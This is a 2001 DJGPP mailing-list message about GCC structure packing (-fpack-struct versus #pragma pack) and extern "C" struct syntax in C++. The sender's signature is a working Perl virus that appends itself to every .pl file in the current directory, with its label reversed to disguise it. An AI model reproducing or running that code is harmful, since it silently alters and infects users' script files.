Mail Archives: djgpp/2001/04/19/09:55:10
pavenis AT lanet DOT lv <pavenis AT lanet DOT lv> wrote:
> On 18 Apr 2001, at 20:32, echo 'Rudolf Polzer' wrote:
>
> No. It doesn't work for C++. So best I can currently suggest is to avoid
> using broken -fpack-struct and use pair of #pragma pack(1) and
> #pragma pack() where needed. This is better as You can pack only
> those structures You really need.
And they work then?
AFAIK -fpack-struct and #pragma pack(1) are equivalent, so the bug
should occur on both.
BTW:
extern "C"
{
struct XXX
{
int a;
};
};
is legal C++.
extern "C" struct XXX
{
int a;
};
is AFAIK illegal, but allowed by GCC. Or do you mean it has no effect?
I do not have a gcc version containing this bug, so I cannot test.
--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
- Raw text -